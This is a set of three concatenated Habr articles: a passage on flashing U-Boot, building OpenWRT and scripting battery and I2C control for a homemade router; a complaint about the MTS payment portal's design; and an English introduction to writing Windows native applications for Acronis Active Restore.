Вот то место, где аскетизм уместен, к тому же тест не разъезжается по всей страницеВообще, при должном желании и навыках веб разработки можно и своего наверстать, была бы фантазия. Я же ограничился созданием тёмной темы, ибо большинство дебагов ночные, а глаза выжигать – такое себе :/
Также обнаружилось, что омеговский Uboot неожиданно умеет и в прошивку самого себя через веб. Странно, ведь кодовая база одна – вот этот репозиторий [Das-U-boot](https://github.com/noblepepper/Das-U-boot). Открываем [httpd.c](https://github.com/gnubee-git/GnuBee-MT76x8-uboot/blob/4be2f259f545d88c968ce136c3563b3374b4e7e8/net/httpd.c#L45) и находим там, что таки да, возможность имеется, аналогичная имеется и для ART, но у нас его нет. «Но почему же её не используют?» – об этом немного позже.
Я же не задумываясь переношу [uboot.html](https://github.com/kulhaker478/mt76xx-uboot/blob/master/httpd/vendors/vocore/uboot.html), попутно проверяя что скрипт генерации пожатого веба [makefsdatac](https://github.com/kulhaker478/mt76xx-uboot/blob/master/httpd/vendors/makefsdatac) умеет в uboot.html. Собираю, прошиваю и о чудо!
Вы Uboot’ы прошивайте или просто показывайте? Красивое…Или не чудо? Если добавить изменений в Uboot, да так чтобы изменился вес бинарника на выходе, то при попытке залить загрузчик, в консоли происходит следующие:
> Error: wrong file size, should be 104108 bytes!
>
>
Причём работает в обе стороны, т.е. не важно больше или меньше файл. Выход из ситуации сообразился быстро – был увеличен размер дерективы WEBFAILSAFE\_UPLOAD\_UBOOT\_SIZE\_IN\_BYTES до размера раздела с загрузчиком, а это 128КБ ~~хватит всем~~. Далее, в конец готового бинаря добиваются FF’ки через hex редактор, дабы размер соответствовал и всё без проблем загружалось.
Казалось бы, теперь можно смело заливать загрузчик. Да не тут-то было! Файл загружается в ОЗУ и при попытке записи в раздел, cp падает в синтаксическую ошибку. Тупик? На помощь снова приходит репозиторий загрузчика Onion Omega2, там [находится](https://github.com/OnionIoT/omega2-bootloader/blob/master/net/httpd.c#L70) вариант вызова функции который использует прямую запись через spi-api, вместо вызова консольного cp. Вот с ним проблем не возникает и загрузчик прошивается как нужно.
Кажется именно по этим двум причинам и был вырезан uboot.html из оригинального репозитория. На этом можно было успокоиться, но.. я был бы не я, если бы это так оставил и не автоматизировал. Поэтому был быстро сочинён:
resizer.sh
```
#!/bin/bash
#thx: https://superuser.com/a/689354
newsize=$(grep 'WEBFAILSAFE_UPLOAD_UBOOT_SIZE_IN_BYTES' $PWD/include/configs/rt2880.h | awk '{$1=$2=""; print "("$0")"}' | tr -d ' ')
filesize=$(stat -c "%s" uboot.bin)
padcount=$((newsize - filesize))
echo ""
echo "===============<>=================="
echo "Image file is automatically enlarged to"
echo "the one specified in WEBFAILSAFE\_UPLOAD\_UBOOT\_SIZE\_IN\_BYTES"
echo "before the firmware, make sure that everything is correct!!!"
echo ""
dd if=/dev/zero ibs=1 count="$padcount" | tr "\000" "\377" >> 'uboot.bin'
echo ""
```
Который делает добавляет FFки в конец файла, но в автоматическом режиме, ну и естественно был добавлен вызов скрипта в makefile.
Аналогичным образом был автоматизирован процесс переключения сетевого адаптера DHCP <> Статический IP на основной Windows машине, для этого был создан .bat’ник следующего содержания:
ubootip.bat
```
@echo off
ECHO 1. Change to static
ECHO 2. Change to dhcp
set choice=
set /p choice= :
if not '%choice%'=='' set choice=%choice:~0,1%
if '%choice%'=='1' goto static
if '%choice%'=='2' goto dhcp
:static
netsh interface ip set address "Ethernet" static 10.5.5.5 255.0.0.0 10.5.5.6 1
goto end
:dhcp
netsh interface ip set address "Ethernet" dhcp
ipconfig /renew "Ethernet"
```
И для .bat’ника сделан ярлык для меню пуск. Ещё специально для прошивки через веб, обжал короткий 4x пиновый патч-корд, но это уже совсем мелочи. Теперь прошив загрузчика вызывает только удовлетворение.
Позволю себе взять скриншот с вики Омеги2, ибо загрузчики практически не отличаютсяНу и как итог имеем следующий вид меню:
Есть конечно что ещё править, но в целом теперь не выглядит как кашаМне повезло, что платы и компоненты приехали к моменту, когда я заканчивал допил китайского Uboot’а напильником, поэтому не нарушая хронологию можно перейти к системе.
Глава 2. OpenWRT
----------------
Начну из далека, т.е. как обычно – с железа. Так уж удачно сложилось, что BQ25896 и INA3221 сидящие на I2C, поддерживаются ядром Linux и под них имеются модули ядра. Получается, что и в данном плане мне повезло. Особенно учитывая, что данные микросхемы никто специально по этому критерию не подбирал.
С поддержкой MT78x8 тоже проблем нет, по крайней мере с первого взгляда, но об этом позже) В свою же очередь, в OpenWRT имеется поддержка выбранного SoM HLK-7688A.
Отлично, значит качем SDK под ramips, пробуем настроить и собрать прошивку – эта мысль, а как позже окажется **ошибка**, вылилась мне в месяц потерянного впустую времени.
Бесценный архив«А что не так?» — дело в том, что SDK включает в себя далеко не все модули ядра, а те что есть – заранее собраны.
Ну а я подумал, что OpenWRT не поддерживает нужные модули ядра для контроллера заряда. Такую логику можно понять, поскольку система предназначена для маршрутизаторов, следовательно зачем там модули ядра для поддержки всего и вся. Не буду рассказывать, как пошёл по ложному пути и пытался **портировать модуль ядра**, да и ещё как пакет. Просто скажу – не повторяйте моих ошибок и не занимайтесь бесполезным трудом.
Когда рассказал братьям по разуму что портируешь модули ядра для OWRT SDKПравильный путь – это склонировать ветку с интересующей версией OWRT и приступить к добавлению своего девайса. Учтите, что процесс может отличаться в зависимости от архитектуры процессора целевого девайса, поскольку не для всех таргетов имеется .dts конфиги, а какие-то устройства вообще добавляются патчами.
Минимальный суповой набор для добавления своего девайсаПеред вами упрощённое древовидное представление каталога target, именно в нём и описывается, как и с чем наш девайс будет добавлен в список доступных. Пройдёмся по каждому файлу сверху вниз, попутно я буду давать комментарии и описывать наиболее интересные секции в файле.
### device\_name.dts
Описание формата dtsФайл .dts или по-русски просто — древо устройства, содержит в себе параметры, которые ядро/система не могут получить простым сканированием подключенных устройств и периферии.
*aliases* – здесь передаются названия ноды для глобального определения. Например, тут назначается светодиод для каждой из активностей роутера. В конкретном случае используется один, хотя конечно же можно использовать различные статусные светодиоды, если такие имеются.
*keys, leds* – тут всё довольно просто, сначала передаётся название, которое будет отображаться в системе. Затем номер GPIO и состояние логического уровня, которое считается рабочим. В случае с кнопками *linux,code* задаёт специальное название которое будет обрабатываться эвентом в модуле ядра Hotplug GPIO.
> Название *linux,code* должно быть определено строго то, что описано в структуре [файла драйвера](https://github.com/openwrt/openwrt/blob/v22.03.2/package/kernel/gpio-button-hotplug/src/gpio-button-hotplug.c#L75), в противном случае прошивка не соберётся!
>
>
Для светодиодов *trigger-sources* и *linux,default-trigger* задают события-тригеры с помощью которых ядро будет дёргать светодиоды. Лучше использовать для таких статусных светодиодов как USB, поскольку для остальных светодиодов, тригеры задаются в отдельном файле и подразумевают что их возможно переназначить через веб-интерфейс.
*state\_default, gpio* – определяют состояние пинов, следует переключить если планируется использовать в режиме GPIO. Изображение выше – карта работы пинов у MT7688A и как видно, режимы пинов могут быть разные.
Кстати о них, помните в первой части я писал:
> Что касается светодиодов – видимо не зря практически все производители сетевых железок на MTK, используют по одному светодиоду на порт.
> Просто оставим пометочку, что лучше использовать по одному светодиоду на порт и не выделываться.
>
>
Так вот, посмотрите, что будет если использовать программное управление светодиодами:
На момент записи видео в конфиге светодиоды были перепутаны местами, но сути не меняет – линк горит даже когда его нет :/Всё дело в кривом драйвере свича, фича настолько редко используемая, что данное ненормальное поведение светодиодов не могут пофиксить довольно давно. Вариантов решения два:
1. Допилить драйвер – в теории при должном желании и что не маловажно, навыках, это реально исправить
2. Пойти по пути который практикуют ВСЕ производители сетевых железок на MTK – использовать аппаратное индикацию с одним светодиодом на порт. Тут всё просто, со встроенного в SoC свича выведены определённые GPIO, подключаем по светодиоду на порт, правильно конфигурируем и бед не знаем
Я же когда рисовал схему в 2021 и вешал свои 2 светодиода на порт, даже подозревать не мог, что такая проблема возможна, именно так опыт и приходит)
Кстати, часть для BQ25890 отсутствует не просто так, подробнее опишу в конце статьиC I2C всё ещё проще, хотя по объёму может сначала испугать, в зависимости от использованной железки и модуля ядра для неё – понадобится соответствующим образом заполнить древо.
«Где взять пример?» — нормальные разработчики описывают его где-то рядом со своим модулем ядра. Если же вам не повезло и его нигде нет, но вы точно знайте, что модуль ядра с конкретной железкой где-либо применяется, то тут только гугл поможет ~~спасибо кэп, да~~.
spi, flash – в данной секции описывается подключенная периферия по spi, зачастую там находится только описание параметров разделов: название, смещение, флаг «только для чтения» в моём случае отличий от оригинального конфига HLK-7688a нет.
### mt76x8.mk
Сюда бы по-хорошему добавить все пакеты, что нужны для работы роутера и его периферииЧуть не забыл про него, тут ничего особенного. Обычный make файл, с помощью которого формируется меню и собирается образ для целевого устройства.
Глава 3. Секреты OpenWRT’вариения
---------------------------------
Я не слукавил, когда в шапке статьи написал о раскрытии секретов. Для оставшихся двух файлов действительно не нашлось нормального описания функций и параметров, пришлось действовать по наитию и прибегать к мозговому штурму русскоязычным чатом OWRT разработчиков.
Файлы *01\_leds* и *02\_network* лежащие в каталоге *board.d*, представляют собой обычные bash скрипты выполняющиеся при первом старте роутера сразу после прошивки. Первый описывает поведение светодидов, названия и их тригеры, а второй описывает интерфейсы и их конфигурацию, задаёт их MAC адреса.
Слева 01\_leds, справа 02\_network
> Чуть не забыл, пример использования тех или иных функций можно найти среди исходников остальных устройств. Поскольку функции ucidef сделаны максимально универсальными - используются они много где.
>
>
Как можно заметить, оба скрипта подключают ещё несколько скриптов-библиотек для выполнения функций из них. Один из таких *uci-defaults.sh* – в нём и описываются функции из вышеописанных файлов, давайте посмотрим на несколько:
Иногда попадаются нетипичные функции, например как функция задающая поведение для светодиодов индикации SATA портов
> Кстати, для функции *ucidef\_set\_led\_netdev* можно в конце передать тригер, будь то линк или приём/передача данных. И если бы не кривая реализация драйвера свича – то это можно было бы вполне использовать.
>
>
В веб интерфейса один из таких светодиодов отображался бы вот такБывают ситуации, когда нужной функции для настройки попросту нет. С такой ситуацией столкнулся [@bam80](https://habr.com/ru/users/bam80/) из телеграм чата [OpenWRT RU Dev](https://t.me/openwrt_ru_dev), когда [добавлял поддержку нескольких роутеров от Kroks](https://github.com/openwrt/openwrt/pull/4791).
Роутеры со встроенными LTE модемами и для их настройки функция *ucidef\_set\_interface* попросту не имела поддержки протоколов qmi и mbim, используемым вышеупомянутыми модемами. Выходов в подобных ситуациях два:
1. Интегрировать правила uci прямо в скрипт 02\_networks. Такой вариант имеет место быть, поскольку среди исходников поддерживаемых роутеров нашлось [такое](https://github.com/openwrt/openwrt/blob/openwrt-22.03/target/linux/ramips/mt7621/base-files/etc/board.d/02_network#L67). Видимо это вполне допустимо
2. Не нарушать устоявшиеся порядки и отправить PR с модификацией скрипта config\_generate (о нем немного позже) — именно так [@bam80](https://habr.com/ru/users/bam80/) в итоге и [поступил](https://github.com/openwrt/openwrt/pull/10632)
Ну и чтобы больше не путаться в назначении скриптов, я создал следующую схему:
Замечания, если я где-то ошибся — приветствуютсяНадеюсь это кому-нибудь будет полезно. В скриптах конечно интересно разбираться, но когда новички это делают раз за разом, то это мне напоминает один мем:
Старая, но до сих пор актуальная картинкаБезусловно у человека должен быть развит навык самостоятельного поиска информации, я и сам за это топлю. Но в данном случае информацию приходится добывать совсем иным путём, анализировать скрипты, конфиги.
И это проходит каждый начинающий разработчик, при этом «старички» не торопятся делиться информацией и опытом, судя по тому, что по toh (что-то вроде OWRT'шной вики) шаром покати.
Как сказал один очень хороший человек:
> Смысл собирать всю жизнь информацию, а потом забирать её в гроб, не поделившись?
>
>
Поэтому, если вы не равнодушны к OWRT и хорошо знайте английский — свяжитесь со мной, я поделюсь текстом для перевода и добавим его в toh OWRT.
Глава 4. Сборка прошивки, модем, I2C, регистры и немного веба
-------------------------------------------------------------
Отлично, с добавлением роутера в список девайсов разобрались. Теперь на этом этапе, в качестве проверки, можно собрать прошивку. Не буду выступать в роли прокси для гугла и пропущу описание базовых манипуляций (скачивание исходников, загрузку пакетов и т.д.), а лишь остановлюсь на нескольких важных моментах:
* Производительность CPU у билд-машины
* Объём дискового пространства на билд-машине
* Ваше время
Первый и третий пункт неразрывно связаны. Когда я только начинал (а это была версия LEDE Reboot 17.01.5 для MR3220 v2) мягко говоря, были проблемы. В виртуальной машине прошивка собиралась порядка 4х часов. Приходилось оставлять старенький HP dv6, на ночь включенным и ложиться спать, а потом среди ночи вставать и проверять «А собралось ли?».
Боль и страдания закончились, когда ко мне на помощь пришёл мой лучший друг Арсений, уже знакомый вам по первой части. Он предоставил доступ к своему двухпроцессорному, 32х ядерному монстру на AMD Opteron. На нём чистая сборка занимает максимум 30мин, а последующие 10мин от силы. Одно плохо — иногда, благодаря «ТНС Энерго Кубань» у Арсения часто не бывает электричества и билд-машина становится недоступна.
А чтобы ваша билд-машина была всегда доступна в любой день суток и любую погоду, рекомендую арендовать VPS от [AdminVPS](https://adminvps.ru/) по выгодной цене в России.
По поводу дискового пространства — нужно порядка 15гб+ если хотите без проблем собрать несколько версий OWRT. Альтернативный вариантом может послужить сборка через imagebuilder/в контейнере Docker, вроде как в них и собирается быстрее и места меньше занимает. Но признаться честно, я их не пробовал, мне всё классический вариант по душе, если имеется опыт - делитесь в комментариях.
### I2C и регистры
А кто это у нас тут? Переходим к I2C устройствам. Начну с хорошего, с INA3221 в этом проекте вообще проблем не наблюдается, модуль ядра hwmon просто берёт и работает, а все необходимые показатели просто доступны из псевдофайла.
С BQ25896 в целом тоже всё неплохо, но не в таком виде как хотелось. Если без лишней воды, то у меня так и не удалось подружить модуль ядра Power supply с данным зарядником. Модуль ядра в логах ядра упорно сообщает о том, что ему не хватает IRQ. Хотя я навесом и накидывал нужный провод, прописывал кое-как в .dts пин куда подключил прерывание, всё без толку. Поэтому:
Если вы работали с зарядниками BQ25XXX под Linux просьба написать в коменты/личку, мне будет очень интересно узнать, что я делаю не так.
Как я выходил из ситуации? Сначала пытался допилить модуль ядра, выкинув проверку на IRQ и попутно добавив принудительное включение OTG, но микросхема всё ровно уходила в offline, т.к. внутри модуля что-то ломалось и её опрос завершался. И это даже работало, свои желанные 5V на USB выходе я получил. Однако я посчитал что это неправильно и решил пойти по другому пути.
Работа с BQ25896 подразумевается в нескольких режимах:
* C использованием watchdog’а и постоянным сбором его бита. Если хост не уснул/не умер – то постоянно пинает этот самый бит
* Возможен вариант и без использования watchdog’а если это требуется и допускается устройством хостом
Не трудно догадаться, что я выбрал последний вариант. Так нужно сделать буквально две записи в регистры и всё будет работать себе спокойно.
Тут бы неплохо изменить значение Fast Charge TimerА тут понизить Minimum System Voltage LimitСамые глазастые уже заметили, что данные команды лежат в файле rc.local, т.е. выполняются после загрузки системы, однако удобно.
Конечно же хочется, чтобы модуль ядра завёлся, т.к. какой смысл в этой куче регистров, если из них используется всего ничего. Про регистры я ещё вспомню, а у нас на очереди модем и веб, давайте перейдём к ним.
### А как же модем?
Многие в комментариях спрашивают про модем, оно и верно, я ведь не упоминал о нём в прошлых статьях – исправляюсь, хоть и процитирую свой же комментарий:
> Это одна из немногих ошибок, вместо того чтобы взять внутренний M.2 LTE модуль я решил использовать внешний USB модем e3372h-153. Самое интересное что во время создания схемы я прекрасно видел модули на M.2, но почему-то значения им не придал...
>
>
О том, как от этого страдает внешний вид устройства и я сам – расскажу в следующей части, а сейчас давайте разберёмся с программной стороной вопроса.
Модемы Huawei умеют работать в двух режимах:
1. Stick – модем прикидывается самым обычным модемом с несколькими виртуальными COM портами для настроек и соединения в PPP режиме, либо же NDIS, но всё ещё с одним портом для AT команд
2. Hilink – в этом режиме модем прикидывается полноценным сетевым интерфейсом через протоколы RNDIS/CDC/EEM/NCM и работает как полноценный роутер со стандартными плюшками вроде NAT, DMZ, port forwarding
И по классике я выбираю второй вариант. Хотя почему один я, правильнее сказать, что подавляющее большинство пользователей используют модемы с Hilink прошивками.
Помимо стандартных пакетов для работы с Hilink модемами в прошивку ещё интегрируется замечательный пакет от польского разработчика: [luci-app-3ginfo-lite](https://github.com/4IceG/luci-app-3ginfo-lite). Он парсит параметры через web api модема и выводит их в виде отдельного раздела:
Также пакет поддерживает и множество других модемов, в общем, рекомендуюС ним была только одна проблема – пакет не работает, если интегрировать его в прошивку. Т.е. интерфейс доступен, но при этом данные в нём не отображаются. Сначала я грешил на проблемы с настройками модема, которые я добавляю uci-defaults правилом:
Хотя по сути это очередной bash скрипт с вызовом любых команд, но зачастую обходятся uciОднако, как бы я не менял параметры и не задавал их руками через веб, это ничего не давало. Решение оказалось довольно простым:
Про что я собственно и говорил, можно вызывать абсолютно любые командыДело было в том, что по какой-то причине postinst часть не выполнялась после установки. Это подтверждалось и тем фактом, что скрипты функционировали если их вызвать принудительно и им передать параметры. Сейчас же makefile заметно похудел и вместо postinst автор использовал uci-defaults правило.
Классно что пакет живёт и исправляетсяУверен, что среди читателей будут [агрегаторы](https://4pda.to/forum/index.php?showtopic=994474), поэтому если у кого-то из вас наблюдались проблемы и вы каким-то чудом не обновились/забили и перестали использовать пакет, то самое время попробовать ещё раз.
### Снова регистры?
Устройство автономное и было бы крайне нелогично, не сделать вывод процент заряда где-либо в вебе.
На удивление я снова обошёлся малой кровью и мне не пришлось ничего программировать. Ещё когда ко мне ехали платы, я отыскал готовый пакет [luci-mod-battstatus](https://github.com/openwrt/luci/tree/openwrt-22.03/modules/luci-mod-battstatus). Однако он хоть и завёлся, но проценты заряда не показывал:
З - захардкоженностьОно и не удивительно, [пакет](https://openwrt.org/packages/pkgdata/luci-mod-battstatus) существует только для одного устройства. И естественно он не будет использовать тот же hwmon для чтения показателей батареи.
Чтобы заставить его работать, пришлось прийти к такому же захардкоженному варианту:
Текущее состояние батареи вычитывается из соответствующих бит регистра 0B, причём учитывается и состояние соседних битов, поскольку они меняются постоянно.
А процент заряда опрашивается через чтение псевдофайла, который создаёт модуль ядра для INA3221. Затем с помощью костыля на awk и простой формулы, напряжение на шунте пересчитывается в процент заряда.
Ну а так оно выглядит в веб интерфейсе### А как выключать?
Наверное, ни для кого не секрет, что современные роутеры не умеют выключаться. Правильнее сказать, что их железо выключаться не умеет, т.к. DC-DC включены постоянно. И как правило обратной связи между SoC и ними нет совсем никакой.
Можно ограничиться кнопкой/переключателем, так я в первой версии схемы и планировал делать, хотя и чуть более умнее чем просто рвать минус или плюс от основного источника питания.
Но я терпеть не могу вкорячивание дубовых кнопок, если схема и софт в состоянии что-то делать сами, потому что это путь слабых.
Вот наглядный пример в лице моего призрака летающего медведяНа стоковом FBG5 нет никакой подсветки, но довольно удачно на переходной плате, китайцами оставлен один двухпиновый XH 2.54. Что делает народ? Клеит ленту внутрь профиля, выводит провода на этот разъём ии..
Дырявит блин корпус и вешает кнопкуПри том, что имеется сразу 3 благоприятных фактора:
1. На клонах плат MKS RobinNano, пять разъёмов под драйвера, четыре из которых заняты, а пятый пустует (в т.ч. и в случае плат с запаянными драйверами).
UPD: Меня правильно поправили в комментариях, насчёт существования плат только с запаянными драйверами и без "сокета" под пятый драйвер, [Flying Bear Reborn v3.0](https://github.com/Sergey1560/fb4s_howto/tree/master/mks_board#flying-bear-reborn-v30).
Вместо него на них посадочная площадка под запайку драйвера. В таких случаях кнопки и прочие серления корпуса - вполне актуальны, хотя яб ещё поспорил)
2. В Marlin есть управление подсветкой корпуса и соответствующая GCODE команда [M355](https://marlinfw.org/docs/gcode/M355.html)
3. [Существует готовый проект модуля подсветки](https://github.com/Sergey1560/fb4s_howto/tree/master/case_led)
Но народ игнорирует эти факторы и выбирает путь в пользу сверления корпуса. Безусловно это их право, пусть хоть RGB ленту повесят, но ситуация в целом как-то удручает..
А всего-то достаточно спаять простенький модуль аля драйвер, на мосфете с оптопарой, сконфигурировать марлин и ВСЁ.
Кстати он до сих пор живёт в таком виде, внутри принтера. Нет ничего более постоянного чем временное…Даже не обязательно использовать те же детали что и в оригинальном проекте. Я вообще распотрошил первый попавшийся блок питания и взяв мосфет с десятикратным запасом. И как итог имеем вот такую красоту:
Tasker + termux + curl + отправка команды по telnet прямо в принтер, медведь то с WiFi)Ну и до кучи допилил плагин MKS Wifi, дабы можно было выключать/включать подсветку прямо из слайсера Cura, если не будет лень – то обязательно сделаю PR)Именно поэтому выбор пал на контроллер заряда BQ25896, позволю снова сослаться на статью [Препарируем дельфина: что внутри у Flipper Zero](https://habr.com/ru/post/599791/)
> На кнопку «назад» повешен не только GPIO процессора, но и один из контактов bq25896, который запускает его из выключенного состояния. Т.е. на фабрике в контроллер заливается прошивка, делаются необходимые тесты, потом контроллер совершает харакири — просит bq25896 выключиться, тот выключается и обрубает контроллеру питание (кроме RTC, про это чуть ниже), и теперь устройство может очень долго лежать в коробочке, не тратя заряд, тот самый shipping mode (когда в начале статьи мы делали Settings-Power-Power OFF-OFF, то это как раз оно).
>
>
Отличие лишь в том, что я использовал кнопку RESET и тем самым получилось, не плодить отдельные кнопки/переключатели на каждый чих. А для включения устройства достаточно лишь несколько секунд удерживать эту самую кнопку, всё просто)
Отключение реализовано тем же харакири-методом: Через i2cset делается запись в нужный регистр. Ну и всё это заворачивается в bash скрипт, дабы простой командой можно было отключить роутер.
Poweroff сделан на всякий случай, ибо есть вероятность, что в момент выключения роутер будет манипулировать с флешкой. Если знайте насколько это актуально – пишите в комментарияхКонечно же это не всё. Лезть в консоль чтобы отключить роутер – это такое себе удовольствие, как бы я консоль не любил. Поэтому для пользовательской кнопки ES0 вместо программного сброса было прописано выключение. А выключение через веб реализовано модулем [luci-app-poweroff](https://github.com/esirplayground/luci-app-poweroff), там ничего интересного, я лишь заменил команду poweroff на свой shutdown.
Конфетка!Итоги третьей части
-------------------
После всех этих манипуляций, устройство становится довольно близко с заводскими аналогами.. По юзабельности конечно же, я не пытаюсь прыгнуть выше головы :3
Допиливать OpenSource напильником – довольно увлекательное занятие. Чего только стоит изучение регистров у BQ25896 и привидение в удовлетворительный вид меню Uboot’а. Безусловно, ещё есть к чему стремиться, например перейти на нормальный Uboot с адекватным kconfig. Подробнее о планах я расскажу в следующей, финальной части.
Напоследок поделюсь списком всех изменённых файлов с краткими комментариями, что и для чего, а вы уже сможете прикинуть объём работ, совершённых одним человеком. Увидимся в следующей части!
Благодарности 💙:
----------------
Телеграмовскому чатику [OpenWRT RU Dev](https://t.me/openwrt_ru_dev) – за помощь с мозговым штурмом
Арсению – за доступ к двухпроцессорному монстру для сборки прошивок
--------------------------------------
Сверхбыстрый [VPS хостинг](https://adminvps.ru/vps/vps_russia.php) в России от AdminVPS | https://habr.com/ru/post/701048/ | null | ru | null |
# О верстке, логике, чудаках и порталах МТС
*Ремарка — данный текст есть лишь моё личное оценочное суждение и не претендует на абсолютную истину.*
Предыстория. Осенняя ночь, отсутствие работы, интернет. Кончился. Как обычно это бывает, закончился траффик на мтс-ном тарифе.
«Ок», — подумал я, попробую оплатить с мобильного.
На дворе 2016 год, это должно быть просто и удобно. Компания МТС так не думала.
Попытка зайти на рандомный сайт благополучно перенаправила на pay.mts.ru. Ну, спасибо, маршрутизация сработала.
1. Первый звоночек, как обычно, прозвучал при авторизации. Пароль авторизации вида
> dShJS4
Товарищи, даже сбер присылает цифровые пароли на подтверждение платежа.
Нет, ну серьезно, вы пробовали вбить на клавиатуре смартфона цифро-буквенный пароль с буквами разного регистра? *Нереально удобно*
2. Форма пополнения(сделанная iframe-ом) по адресу [pay.mts.ru/webportal/payments/3565/Tula](https://pay.mts.ru/webportal/payments/3565/Tula) с iframe по адресу [mts.platbox.com/mts?product\_id=0000002&mobile=0](https://mts.platbox.com/mts?product_id=0000002&mobile=0) при закончившемся траффике не работает. Скорее всего, сетевой фильтр при окончании траффика допускает домены \*.mts.ru и не допускает \* platbox.com. Идеально.
**Нотариально заверенный (нет, конечно же нет) скриншот**
3. Поматерившись, включаю хот-спот и захожу с ноутбука. Хм, надпись «Личный кабинет»… может быть, это та самая дверь, *через которую Алиса попадет в страну чудес?*
Алиса попала на вторую авторизацию. Возможно, я что-то пропустил в истории, или в своем развитии, но если уж делаете кросс-доменную авторизацию, то делайте её везде и одинаково.
Домен pay.mts.ru перевязан куками с собой и mts.ru, там даже есть некий auth-back-url и sessionid-services… но *что-то не работает*.
**Куки**
Для тех, кого заинтересовала вторая подчеркнутая надпись. Сей сайт очень любит iframe. Настолько любит iframe, что виджет пользователя с балансом подтягивается именно им. И да, там 8 дивов, горка скриптов и куки от login.mts.ru ради того, чтобы вывести фио, баланс и две ссылки.
Роемся в смс-ках, чтобы найти пароль.
4. Оп. Смс о средствах и услугах приходят с корректного символьного имени МТС, а пароли с некого номера 3339. *Это здорово упрощает поиски.*
**Кстати**Ответ на запрос баланса пришел с символьного имени Balance. К чему бы это… а да, у меня двухсимочный телефон, и гадать по какой из симок пришло смс очень интересно. Спасибо. Нужно зайти в канал и посмотреть иконки.
5. Все мы люди, все мы ~~костылим~~ ошибаемся. Хорошо, ссылка «пополнить на 1000 рублей» бросается в глаза сразу.
**Ссылка**
Рефлекторно нажимаю на неё колесиком ~~(она же должна перенаправить меня на форму оплаты, не так ли ?)~~. Не так. Не понял. Смотрим на неё под инспектором… ага. button. Ок, может все откроется здесь? Получаем перенаправление, страничка перезагружается. Интересно, а что мешало просто обернуть этот button в ссылку, раз уж он перезагружает страницу? ~~Здравый смысл~~
6. После всех мучений оплата удалась. Как законопослушный человек и гражданин, я все-таки решил отправить feedback о пользовании сего творения безумного художника. Форма для feedback-а нашлась сразу. Textarea 256 пикселей шириной с возможностью растянуть её по вертикали, но не по горизонтали. Чем-то похоже на обрызгивание жалобной книги продукцией желез скунса, чтобы много не написали.
**Форма ОС**
Вы спрашиваете у меня ФИО и email? О Боже, я залогинен на вашем сайте, вы знаете мой номер телефона, у вас были мои данные при регистрации симки, и вы просите у меня персональные данные на форме ОС? Даже небо, даже Аллах не знал такого позора! Внутри кнопки отправить спрятан span с текстом. Просто span с текстом. Убрал span, оставил текст. Ничего не изменилось.
7. Чекбоксы. Чекбоксы это отдельная песня.
```
Звонок на контактный номер
```
Вы думаете, чекбокс это input? Нет. Чекбокс здесь только в качестве «элемента доступности» для слабо зрячих с голосовыми браузерами. На самом деле, чекбокс это блок с классом *jq-checkbox* в качестве рамки, и отельный блок с *jq-checkbox\_\_div* в качестве красивой красной галки. А на input, если присмотреться, висит прекрасная связка *z-index: -1; opacity: 0.*
Верстальщику, сделавшему это, рекомендую участвовать в акциях (любой, но лучше на красной площади) одного питерского художника. Хотя бы галочку через :after сделали бы, если хочется такой трюк со спрятанным чекбоксом. Но вообще подобное лучше делать через код вида:
```
```
Или ~~не выеживаться~~ оставить чуть стилизованные стандартные чекбоксы.
2016 год, один из трех основных операторов страны, сайт выглядит… ну как-то вот так:
**Одна из форм оплаты**
Не реактивный, не удобный ни слепым, ни зрячим, одинаково ужасно выглядит и на мобильниках, и на широких экранах.
А форма обратной связи, кстати, послала в бэке запрос на другой сайт и упала с 500й. Может быть, неэкранированная верстка в пост-параметре не понравилась. | https://habr.com/ru/post/314802/ | null | ru | null |
# Windows Native Applications and Acronis Active Restore
We continue telling you about our cooperation with Innopolis University guys to develop Active Restore technology. It will allow users to start working as soon as possible after a failure. Today, we will talk about Native Windows applications, including details on their development and launch. Under the cut, you will find some information about our project, and a hands-on guide on developing native apps.
[](https://habr.com/ru/company/acronis/blog/499466/)
In previous posts, we have already written about [Active Restore](https://habr.com/ru/company/acronis/blog/496584/), and how Innopolis students develop the [service](https://habr.com/ru/company/acronis/blog/498890/). Today I would like to focus on native apps. We want to «bury» our active restoration service to their layer. If we succeed, we can:
* Launch the service much earlier
* Connect with a cloud containing a backup a bit earlier
* Identify system boot mode, normal or safe, much earlier
* Restore much fewer files in advance
* Allow a user to start work even faster.
### What is a Windows Native app?
To answer this question, let us look at the call stack, e. g. when someone tries to create a file.
*Pavel Yosifovich — Windows Kernel Programming (2019)*
A programmer uses the function [CreateFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) declared in fileapi.h header file and implemented in Kernel32.dll. However, the function itself does not create a file. It just checks input arguments and calls [NtCreateFile](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile) function (prefix Nt shows that this function is native). This function is declared in winternl.h header file and implemented in ntdll.dll. It prepares the jump into the kernel space and then makes a system call to create a file. In this case, Kernel32 is just a shell for Ntdll. One of the reasons for this is that this way Microsoft can change native functions without affecting standard interfaces. Microsoft does not recommend calling native functions directly and does not document most of them. However, undocumented functions can be found [here](http://undocumented.ntinternals.net/).
The main advantage of native apps is that ntdll is uploaded to the system much earlier than kernel32. This makes sense because kernel32 requires ntdll to operate. As a result, apps that use native functions can start working much earlier.
Therefore, Windows Native Applications are programs that can be launched early in the Windows boot process. They use functions ONLY from ntdll. An example of such an application: [autochk](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/autochk), which runs [chkdisk utility](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chkdsk) to check disk errors before the main services are launched. This is the layer where we want Active Restore to be.
### What will we need?
* [DDK](https://docs.microsoft.com/en-us/windows-hardware/drivers/other-wdk-downloads) (Driver Development Kit) currently known as WDK 7 (Windows Driver Kit).
* A virtual machine (e. g. Windows 7 x64)
* It is not required, but header files could be helpful. Download them [here](https://github.com/arizvisa/ndk).
### What about the code?
Let us practice and write a simple example app that:
* Displays a message
* Allocates some memory
* Waits for keyboard input
* Frees allocated memory
In native applications, the entry point is not main or winmain. We have to implement the NtProcessStartup function because we start the new process directly in the system.
Let us start by displaying a message. To do that we have a native function, [NtDisplayString](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtDisplayString.html), which accepts a pointer to UNICODE\_STRING object as an argument. We will use RtlInitUnicodeString to initialize it. As a result, to display the text, we can write a tiny function:
```
//usage: WriteLn(L"Here is my text\n");
void WriteLn(LPWSTR Message)
{
UNICODE_STRING string;
RtlInitUnicodeString(&string, Message);
NtDisplayString(&string);
}
```
